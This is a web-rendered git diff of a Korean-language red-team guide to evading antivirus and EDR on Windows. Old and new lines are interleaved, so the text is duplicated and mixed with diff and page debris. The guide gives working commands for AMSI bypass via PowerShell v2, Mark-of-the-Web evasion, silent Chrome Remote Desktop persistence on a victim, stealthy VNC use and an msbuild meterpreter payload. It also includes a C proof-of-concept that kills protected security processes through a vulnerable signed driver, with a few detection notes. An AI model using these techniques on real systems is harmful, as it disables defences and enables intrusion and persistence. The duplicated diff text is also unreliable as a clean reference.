- **PowerShell 전사 및 모듈 로깅 비활성화**: 이를 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)와 같은 도구를 사용할 수 있습니다.
|
||||
- **PowerShell 버전 2 사용**: PowerShell 버전 2를 사용하면 AMSI가 로드되지 않으므로 AMSI에 의해 스캔되지 않고 스크립트를 실행할 수 있습니다. 이렇게 할 수 있습니다: `powershell.exe -version 2`
|
||||
- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어 없이 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 것입니다).
|
||||
- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어가 없는 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 방법입니다).
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!NOTE]
|
||||
> 여러 난독화 기술은 데이터를 암호화하는 데 의존하며, 이는 이진 파일의 엔트로피를 증가시켜 AV 및 EDR이 이를 감지하기 쉽게 만듭니다. 이에 주의하고, 민감하거나 숨겨야 할 코드의 특정 섹션에만 암호화를 적용하는 것이 좋습니다.
|
||||
> [!TIP]
|
||||
> 여러 가지 난독화 기술은 데이터를 암호화하는 데 의존하며, 이는 이진 파일의 엔트로피를 증가시켜 AV 및 EDR이 이를 감지하기 쉽게 만듭니다. 이에 주의하고, 민감하거나 숨겨야 할 코드의 특정 섹션에만 암호화를 적용하는 것이 좋습니다.
|
||||
|
||||
다음과 같은 도구를 사용하여 **C# 클리어 텍스트 코드 난독화**, **이진 파일 컴파일을 위한 메타프로그래밍 템플릿 생성** 또는 **컴파일된 이진 파일 난독화**를 할 수 있습니다:
|
||||
다음과 같은 도구를 사용하여 **C# 클리어 텍스트 코드를 난독화**하거나, 이진 파일을 컴파일하기 위한 **메타프로그래밍 템플릿**을 생성하거나, **컴파일된 이진 파일을 난독화**할 수 있습니다:
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET 애플리케이션을 위한 훌륭한 오픈 소스 난독화 도구입니다. 제어 흐름 난독화, 안티 디버깅, 안티 변조 및 문자열 암호화와 같은 다양한 보호 기술을 제공합니다. 특정 코드 조각을 난독화할 수 있어 추천됩니다.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화 도구**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일 스위트의 오픈 소스 포크를 제공하여 [코드 난독화](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구 없이 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구를 사용하지 않고 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 삶을 조금 더 어렵게 만듭니다.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화 도구입니다.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame는 임의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화합니다.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame는 임의의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화하여 정상적인 제어 흐름에 대한 우리의 자연스러운 개념을 저해합니다.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE Crypter입니다.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 쉘코드로 변환한 다음 로드할 수 있습니다.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 쉘코드로 변환한 다음 이를 로드할 수 있습니다.
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
@ -245,18 +251,18 @@ Microsoft Defender SmartScreen은 잠재적으로 악성 애플리케이션 실
|
||||
|
||||
SmartScreen은 주로 평판 기반 접근 방식을 사용하여, 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다 (파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
|
||||
|
||||
**MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)으로, Zone.Identifier라는 이름으로 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 생성됩니다.
|
||||
**MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 Zone.Identifier라는 이름을 가집니다.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>인터넷에서 다운로드한 파일의 Zone.Identifier ADS 확인.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **신뢰할 수 있는** 서명 인증서로 서명된 실행 파일은 **SmartScreen을 트리거하지 않습니다**.
|
||||
|
||||
페이로드가 Mark of The Web을 받지 않도록 방지하는 매우 효과적인 방법은 ISO와 같은 컨테이너에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW) **가** **비 NTFS** 볼륨에 적용될 수 없기 때문입니다.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 Mark-of-the-Web을 피하기 위해 페이로드를 출력 컨테이너로 패키징하는 도구입니다.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 페이로드를 출력 컨테이너에 패키징하여 Mark-of-the-Web을 피하는 도구입니다.
|
||||
|
||||
예제 사용법:
|
||||
```bash
|
||||
@ -299,21 +305,21 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져
|
||||
|
||||
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI를 패치하는 것만 걱정하면 됩니다.
|
||||
|
||||
대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법은 여러 가지가 있습니다:
|
||||
대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법에는 여러 가지가 있습니다:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행한 후, 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
|
||||
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입한 후, 악성 코드를 실행하고 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는** 것입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행 중 문제가 발생하면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다. 비콘이 충돌할 수 있기 때문입니다.
|
||||
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는** 것입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행 중 문제가 발생하면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> C# 어셈블리 로딩에 대해 더 읽고 싶다면, 이 기사를 확인해 보세요 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 및 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
또한 C# 어셈블리를 **PowerShell에서 로드할 수** 있으며, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 및 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
|
||||
@ -322,25 +328,36 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져
|
||||
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안된 바와 같이, 손상된 머신에 **공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
|
||||
|
||||
인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 메모리 내에서 **이 언어들로 임의의 코드를 실행할 수 있습니다.**
|
||||
인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 메모리 내에서 **이러한 언어로 임의의 코드를 실행할 수 있습니다.**
|
||||
|
||||
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
|
||||
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 쉘 스크립트로 테스트한 결과 성공적이었습니다.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 권한을 줄이는 기술입니다. 그러나 악의적인 활동을 확인할 권한은 없습니다.
|
||||
Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 하면서 악의적인 활동을 확인할 권한을 줄이는 기술입니다.
|
||||
|
||||
이를 방지하기 위해 Windows는 **외부 프로세스가 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 방지할 수 있습니다.**
|
||||
이를 방지하기 위해 Windows는 **외부 프로세스가** 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 **방지할 수 있습니다.**
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Using Trusted Software
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
[**이 블로그 포스트**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에서 설명된 바와 같이, 피해자의 PC에 Chrome Remote Desktop을 배포한 후 이를 사용하여 장악하고 지속성을 유지하는 것은 쉽습니다:
|
||||
1. https://remotedesktop.google.com/에서 다운로드하고 "SSH를 통해 설정"을 클릭한 후, Windows용 MSI 파일을 다운로드합니다.
|
||||
2. 피해자에서 설치 프로그램을 조용히 실행합니다(관리자 권한 필요): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop 페이지로 돌아가서 다음을 클릭합니다. 마법사가 권한 부여를 요청할 것입니다; 계속하려면 권한 부여 버튼을 클릭합니다.
|
||||
4. 주어진 매개변수를 약간 조정하여 실행합니다: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 핀을 설정할 수 있는 핀 매개변수에 주의하세요).
|
||||
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 거의 불가능합니다.
|
||||
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 사실상 불가능합니다.
|
||||
|
||||
당신이 공격하는 모든 환경은 각자의 강점과 약점을 가지고 있습니다.
|
||||
당신이 맞서는 모든 환경은 고유한 강점과 약점을 가지고 있습니다.
|
||||
|
||||
더 고급 회피 기술에 대한 발판을 얻기 위해 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 시청하시기를 권장합니다.
|
||||
|
||||
@ -348,7 +365,7 @@ Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
이것은 [@mariuszbit](https://twitter.com/mariuszbit)의 깊이 있는 회피에 대한 또 다른 훌륭한 강연입니다.
|
||||
[@mariuszbit](https://twitter.com/mariuszbit)의 깊이 있는 회피에 대한 또 다른 훌륭한 강연입니다.
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
@ -359,11 +376,11 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하여 **바이너리의 일부를 제거**하여 **Defender가 악성으로 찾는 부분을 알아내고** 이를 분리할 수 있습니다.\
|
||||
같은 작업을 수행하는 또 다른 도구는 [**avred**](https://github.com/dobin/avred)로, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하는 오픈 웹을 가지고 있습니다.
|
||||
또한 [**avred**](https://github.com/dobin/avred)라는 도구도 **같은 작업을 수행하며**, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하는 오픈 웹을 제공합니다.
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Windows 10 이전까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치하려면 (관리자로서) 다음과 같이 하면 됩니다:
|
||||
Windows 10까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치(관리자 권한 필요)하려면 다음과 같이 하면 됩니다:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -395,7 +412,7 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
|
||||
**경고:** 은폐를 유지하기 위해 몇 가지를 하지 않아야 합니다
|
||||
|
||||
- `winvnc`가 이미 실행 중이라면 시작하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/1SROTTl.png)이 발생합니다. `tasklist | findstr winvnc`로 실행 중인지 확인하세요
|
||||
- 동일한 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
|
||||
- 같은 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
|
||||
- 도움을 위해 `winvnc -h`를 실행하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/oc18wcu.png)이 발생합니다
|
||||
|
||||
### GreatSCT
|
||||
@ -418,7 +435,7 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
이제 **lister**를 `msfconsole -r file.rc`로 **시작**하고 **xml payload**를 다음과 같이 **실행**합니다:
|
||||
이제 **리스터를 시작**하려면 `msfconsole -r file.rc`를 입력하고 **xml 페이로드를 실행**하려면:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
@ -571,8 +588,49 @@ https://github.com/TheWover/donut
|
||||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### 더 보기
|
||||
### More
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
|
||||
Storm-2603는 **Antivirus Terminator**라는 작은 콘솔 유틸리티를 활용하여 랜섬웨어를 배포하기 전에 엔드포인트 보호를 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 가져와서 이를 악용하여 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 특권 커널 작업을 수행합니다.
|
||||
|
||||
주요 내용
|
||||
1. **서명된 드라이버**: 디스크에 전달된 파일은 `ServiceMouse.sys`이지만, 이진 파일은 Antiy Labs의 “System In-Depth Analysis Toolkit”에서 온 합법적으로 서명된 드라이버 `AToolsKrnl64.sys`입니다. 이 드라이버는 유효한 Microsoft 서명을 가지고 있어 Driver-Signature-Enforcement (DSE)가 활성화되어 있어도 로드됩니다.
|
||||
2. **서비스 설치**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
첫 번째 줄은 드라이버를 **커널 서비스**로 등록하고, 두 번째 줄은 이를 시작하여 `\\.\ServiceMouse`가 사용자 공간에서 접근 가능하게 만듭니다.
|
||||
3. **드라이버에 의해 노출된 IOCTLs**
|
||||
| IOCTL 코드 | 기능 |
|
||||
|-----------:|----------------------------------------|
|
||||
| `0x99000050` | PID로 임의의 프로세스를 종료 (Defender/EDR 서비스 종료에 사용) |
|
||||
| `0x990000D0` | 디스크에서 임의의 파일 삭제 |
|
||||
| `0x990001D0` | 드라이버 언로드 및 서비스 제거 |
|
||||
|
||||
최소 C 증명-of-개념:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
int main(int argc, char **argv){
|
||||
DWORD pid = strtoul(argv[1], NULL, 10);
|
||||
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
|
||||
CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **작동 원리**: BYOVD는 사용자 모드 보호를 완전히 우회합니다. 커널에서 실행되는 코드는 *보호된* 프로세스를 열거나 종료하거나 PPL/PP, ELAM 또는 기타 강화 기능에 관계없이 커널 객체를 조작할 수 있습니다.
|
||||
|
||||
탐지 / 완화
|
||||
• Microsoft의 취약 드라이버 차단 목록(`HVCI`, `Smart App Control`)을 활성화하여 Windows가 `AToolsKrnl64.sys`를 로드하지 않도록 합니다.
|
||||
• 새로운 *커널* 서비스의 생성 모니터링 및 드라이버가 세계 쓰기 가능 디렉토리에서 로드되거나 허용 목록에 없을 때 경고합니다.
|
||||
• 사용자 모드 핸들이 사용자 정의 장치 객체에 대한 후속 의심스러운 `DeviceIoControl` 호출을 감시합니다.
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user